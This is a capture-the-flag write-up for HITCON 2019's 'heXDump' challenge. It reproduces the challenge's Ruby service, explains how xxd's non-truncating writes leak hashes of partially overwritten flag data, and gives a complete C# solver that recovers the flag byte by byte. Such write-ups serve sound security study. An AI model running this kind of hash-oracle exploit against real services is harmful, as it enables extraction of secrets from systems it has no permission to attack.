HITCON CTF 2019 Quals: Misc - heXDump

Reading time ~6 minutes

In this challenge we got some Ruby code which could execute various actions (md5, sha1 and aes) on our input data which was provided in hex format and were converted to binary via the xxd utility.

The challenge

This was the code:

#!/usr/bin/env ruby
# encoding: ascii-8bit
# frozen_string_literal: true

require 'English'
require 'fileutils'
require 'securerandom'

FLAG_PATH = File.join(ENV['HOME'], 'flag')
DEFAULT_MODE = "sha1sum %s | awk '{ print $1 }'"

def setup
  STDOUT.sync = 0
  STDIN.sync = 0
  @mode = DEFAULT_MODE
  @file = '/tmp/' + SecureRandom.hex
  FileUtils.touch(@file)
  @key = output("sha256sum #{FLAG_PATH} | awk '{ print $1 }'").strip
  raise if @key.size != 32 * 2
end

def menu
  <<~MENU
    1) write
    2) read
    3) change output mode
    0) quit
  MENU
end

def output(cmd)
  IO.popen(cmd, &:gets)
end

def write
  puts 'Data? (In hex format)'
  data = gets
  return false unless data && !data.empty? && data.size < 0x1000

  IO.popen("xxd -r -ps - #{@file}", 'r+') do |f|
    f.puts data
    f.close_write
  end
  return false unless $CHILD_STATUS.success?

  true
end

def read
  unless File.exist?(@file)
    puts 'Write something first plz.'
    return true
  end

  puts output(format(@mode, @file))
  true
end

def mode_menu
  <<~MODE
    Which mode?
    - SHA1
    - MD5
    - AES
  MODE
end

def change_mode
  puts mode_menu
  @mode = case gets.strip.downcase
          when 'sha1' then "sha1sum %s | awk '{ print $1 }'"
          when 'md5' then "md5sum %s | awk '{ print $1 }'"
          when 'aes' then "openssl enc -aes-256-ecb -in %s -K #{@key} | xxd -ps"
          else DEFAULT_MODE
          end
end

def secret
  FileUtils.cp(FLAG_PATH, @file)
  true
end

def main_loop
  puts menu
  case gets.to_i
  when 1 then write
  when 2 then read
  when 3 then change_mode
  when 1337 then secret
  else false
  end
end

setup
begin
  loop while main_loop
  puts 'See ya!'
ensure
  FileUtils.rm_f(@file)
end 

The bug

After looking into what the English module does and trying to find out if xxd or md5sum or sha1sum can be tricked into doing something nasty based only on the input binary, all of these turned out to be wrong paths of solving the challenge.

Fortunately I found quickly that xxd does not truncate the input file when it writes into the file, so this call xxd -r -ps - #{@file} will keep the file’s original content and only overwrites the first few bytes that we provide.

This could be checked quickly by executing the following commands:

1
Data? (In hex format)
4141

2
801c34269f74ed383fc97de33604b8a905adb635

This is the correct result as sha1("AA") is indeed 801c34269f74ed383fc97de33604b8a905adb635.

But if continue with the following commands:

1
Data? (In hex format)
42

2
eb28d7ef234301a3371720ea0d790df1a9c4363a

Then we get sha1("BA") == "eb28d7ef234301a3371720ea0d790df1a9c4363a" instead of sha1("B") == "eb28d7ef234301a3371720ea0d790df1a9c4363a".

Of course we can also see that using the secret, not listed command 1337 sets our input file to the flag’s value.

The plan

So the plan is to overwrite our flag byte-by-byte and get the SHA1 hash of all these values then bruteforce offline the original flag bytes again byte-by-byte.

Here is an example:

             -> hitcon{ABCD} = 4bdb33b36816d73ecc714d698f161a07b2b4b593
_            -> _itcon{ABCD} = 4a582a61504a0cfd5ba786c2fc820da999ee25b9
__           -> __tcon{ABCD} = 720b2d9b846a76ed1696eb6f5df744545bf98e52
...
__________   -> __________D} = 8cd1a0e13e00b87c89c157a5f209f4c695ea1dda
___________  -> ___________} = 5a57868331393a400ad0ad0b1934b6592cf01ca5
____________ -> ____________ = 207f54f7d86a61d551a6495ea3e8d90053003579

From now on, we can brute-force the bytes offline:

We know that sha1("___________" + one_byte) should be 5a57868331393a400ad0ad0b1934b6592cf01ca5, so we can try every 0-255 byte value and we will find out that one_byte == '}'.

Then we can try to brute-force the previous byte as we know that sha1("__________" + other_byte + "}") should be 8cd1a0e13e00b87c89c157a5f209f4c695ea1dda and we find out that other_byte == 'D'.

And so on…

The solver code

The following code implements the previous bruteforcer and solves the challenge:

var tcp = new TcpTextClient("13.113.205.160", 21700);

// set flag as input 
tcp.ReadUntilEnds("0) quit\n");
tcp.WriteLine("1337");

void SetInput(string newValue)
{
    tcp.ReadUntilEnds("0) quit\n");
    tcp.WriteLine("1");
    tcp.ReadUntilEnds("Data? (In hex format)\n");
    tcp.WriteLine(Conversion.BytesToHex(EncodingHelper.GetBytes(newValue)));
}

string GetHash()
{
    tcp.ReadUntilEnds("0) quit\n");
    tcp.WriteLine("2");
    return tcp.ReadLine();
}

string Sha1(string value) => Conversion.BytesToHex(
    SHA1.Create().ComputeHash(EncodingHelper.GetBytes(value)));

var values = new Stack<string>();
while (true)
{
    var overwrite = new string('_', values.Count);
    SetInput(overwrite);
    var current = GetHash();
    if (current == Sha1(overwrite)) // no more characters left from the flag
        break;
    Console.WriteLine($"Got hash '{overwrite}' => {current}");
    values.Push(current);
}

var flag = "";
while (values.Count > 0)
{
    var currEncoded = values.Pop();
    var win = (char)Enumerable.Range(0, 256).Single(x => 
                Sha1(new string('_', values.Count) + (char)x + flag) == currEncoded);
    Console.WriteLine($"Found: {(byte)win} ('{win}')");
    flag = win + flag;
}

Console.WriteLine($"Flag = {flag}");

The flag

The solver gave us the flag:

hitcon{xxd?XDD!ed45dc4df7d0b79}

HITCON CTF 2019 Quals: Reverse - EmojiVM

This challenge was a VM implemented where every instruction was an emoji. For the first part of the challenge we had to reverse a flag ch...… Continue reading

HITCON CTF 2019 Quals: Reverse - CoreDumb

Published on October 19, 2019

HITCON CTF 2019 Quals: Pwn - Crypto in the shell

Published on October 19, 2019